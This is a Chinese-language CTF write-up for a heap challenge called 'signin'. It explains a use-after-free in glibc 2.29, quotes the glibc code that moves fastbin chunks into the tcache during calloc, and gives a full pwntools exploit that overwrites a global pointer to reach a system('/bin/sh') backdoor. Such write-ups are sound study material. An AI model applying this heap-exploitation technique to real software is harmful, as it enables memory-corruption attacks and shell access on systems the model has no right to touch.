首先,检查一下程序的保护机制
然后,我们用IDA分析一下,存在一个后门函数,要执行后面函数,需要ptr不为0
Delete功能没有清空指针
Edit功能存在UAF漏洞,但**[edit功能只能使用一次]{.mark}**
测试出题目给我们的glibc版本为2.29,存在tcahce机制。
由于edit功能只用一次。同时,我们注意到后门里函数使用了calloc。
通过阅读glibc2.29源码,我们得知**[calloc不会从tcache bin里取空闲的chunk,而是从fastbin里取,取完后,和malloc一样,如果fastbin里还有剩余的chunk,则全部放到对应的tcache bin里取,采用头插法]{.mark}**
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) { idx = fastbin_index (nb); mfastbinptr *fb = &fastbin (av, idx); mchunkptr pp; victim = *fb; if (victim != NULL) { if (SINGLE_THREAD_P) *fb = victim->fd; else REMOVE_FB (fb, pp, victim); if (__glibc_likely (victim != NULL)) { size_t victim_idx = fastbin_index (chunksize (victim)); if (__builtin_expect (victim_idx != idx, 0)) malloc_printerr ("malloc(): memory corruption (fast)"); check_remalloced_chunk (av, victim, nb); #if USE_TCACHE size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL) { if (SINGLE_THREAD_P) *fb = tc_victim->fd; else { REMOVE_FB (fb, pp, tc_victim); if (__glibc_unlikely (tc_victim == NULL)) break; } tcache_put (tc_victim, tc_idx); } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } }
|
那么,我们可以利用一次edit,把ptr-0x10链接到fastbin里去,然后调用后面函数执行calloc从fastbin里取出一个chunk,然后剩余的chunk全部放到对应的tcache bin里去。[由于采用的是头插法插入,那么(ptr-0x10)->fd = heap_x_addr]{.mark},这样,也就是ptr被写了一个堆的地址,不为0了,那么接下来就会执行system(“/bin/sh”)了。
综上,我们的exp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import * sh = process('./signin') ptr = 0x4040C0 def create(index): sh.sendlineafter('your choice?','1') sh.sendlineafter('idx?',str(index)) def edit(index,content): sh.sendlineafter('your choice?','2') sh.sendlineafter('idx?',str(index).ljust(0xE,'\x00')) sh.send(content) def delete(index): sh.sendlineafter('your choice?','3') sh.sendlineafter('idx?',str(index))
for i in range(8): create(i)
for i in range(8): delete(i)
create(8) edit(7,p64(ptr - 0x10))
sh.sendlineafter('your choice?','6') sh.interactive()
|